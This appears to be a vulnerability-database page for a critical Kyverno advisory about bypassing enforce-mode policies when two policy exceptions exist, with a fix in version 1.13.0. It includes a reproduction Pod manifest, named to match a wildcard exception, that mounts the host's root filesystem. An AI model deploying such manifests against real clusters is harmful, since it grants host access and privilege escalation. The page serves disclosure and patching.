Loading...
Skip to main content

CVE-2026-84200 — Vulnerability in github.com/kyverno/kyverno — CVE...

CRITICAL

Bypassing Kyverno Policies via Double Policy Exceptions

Published January 6, 2026Updated September 25, 2026Source: osv

Summary

### Summary If a cluster has a `Kyverno` policy in enforce mode and there are two exceptions, this allows the policy to be bypassed, even if the first exception is more restrictive than the second. ### Details The following policy was applied: ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: disallow-host-path annotations: policies.kyverno.io/title: Disallow hostPath policies.kyverno.io/category: Pod Security Standards (Baseline) policies.kyverno.io/severity: medium policies.kyverno.io/subject: Pod,Volume kyverno.io/kyverno-version: 1.6.0 kyverno.io/kubernetes-version: "1.22-1.23" policies.kyverno.io/description: >- HostPath volumes let Pods use host directories and volumes in containers. Using host resources can be used to access shared data or escalate privileges and should not be allowed. This policy ensures no hostPath volumes are in use. spec: validationFailureAction: Enforce background: true rules: - name: host-path match: any: - resources: kinds: - Pod validate: message: >- HostPath volumes are forbidden. The field spec.volumes[*].hostPath must be unset. pattern: spec: =(volumes): - X(hostPath): "null" ``` And two exceptions: ```yaml apiVersion: kyverno.io/v2beta1 kind: PolicyException metadata: name: disallow-host-path-exception namespace: kyverno spec: exceptions: - policyName: disallow-host-path ruleNames: - host-path match: any: - resources: kinds: - DaemonSet - Deployment - Job - StatefulSet - ReplicaSet - ReplicationController - Pod - CronJob namespaces: - luntry - tstkyverno - examplens ``` ```yaml apiVersion: kyverno.io/v2beta1 kind: PolicyException metadata: name: disallow-host-path-exception-names namespace: kyverno spec: exceptions: - policyName: disallow-host-path ruleNames: - host-path match: any: - resources: kinds: - DaemonSet - Deployment - Job - StatefulSet - ReplicaSet - ReplicationController - Pod - CronJob names: - '*haproxy*' - '*ingress*' ``` Trying to apply such a yaml will result in the expected ban: ```yaml apiVersion: v1 kind: Pod metadata: name: mtkpi labels: app: pentest spec: containers: - name: mtkpi image: ubuntu volumeMounts: - mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumes: - name: noderoot hostPath: path: / ``` <img width="855" height="483" alt="Снимок экрана 2025-09-04 в 13 35 46" src="https://github.com/user-attachments/assets/deb28128-52fb-4f5f-a9bd-b68eefd411b2" /> However, if the load name is changed to satisfy the second exception, the restrictions can be bypassed: ```yaml apiVersion: v1 kind: Pod metadata: name: ingress labels: app: pentest spec: containers: - name: mtkpi image: ubuntu volumeMounts: - mountPath: /host name: noderoot command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] volumes: - name: noderoot hostPath: path: / ``` <img width="449" height="386" alt="Снимок экрана 2025-09-04 в 13 37 09" src="https://github.com/user-attachments/assets/8d5ad1e2-6d16-4768-8741-f11363bb9b22" /> It turns out that the second exception is higher in priority for Kyverno and allows for bypass of the restrictions. ### Impact The security restrictions can be bypassed.

Advisory Timeline

  • First published January 6, 2026 (279 days ago).
  • Last revised September 25, 2026 — 262 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

Go
Update github.com/kyverno/kyverno to 1.13.0 or later
go get github.com/kyverno/kyverno@v1.13.0

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: go (1).

PackageEcosystemAffectedFixed In
github.com/kyverno/kyverno
go
All versions1.13.0

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.0 score means for each attack dimension.

Attack Vector
Adjacent
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-84200?
Bypassing Kyverno Policies via Double Policy Exceptions This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.0/10).
How do I check if my project is affected by CVE-2026-84200?
CVE-2026-84200 affects github.com/kyverno/kyverno. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-84200 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-gg4x-fgg2-h9w9
BIT-kyverno-2026-84200
GO-2026-4285

Related CVEs

  • CVE-2026-54523
    CRITICAL

    Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system

  • CVE-2026-22039
    CRITICAL

    Kyverno Cross-Namespace Privilege Escalation via Policy apiCall

  • CVE-2026-107806
    CRITICAL

    Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

  • CVE-2026-68582
    CRITICAL

    Vikunja: Link-share token reads any tenant's kanban buckets and enumerates usernames/IDs instance-wide (BOLA)

  • CVE-2025-46342
    HIGH

    Kyverno vulnerable to bypass of policy rules that use namespace selectors in match statements

  • CVE-2026-4789
    HIGH

    Kyverno has SSRF via CEL http.Get/http.Post in NamespacedValidatingPolicy allows cross-namespace data access

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies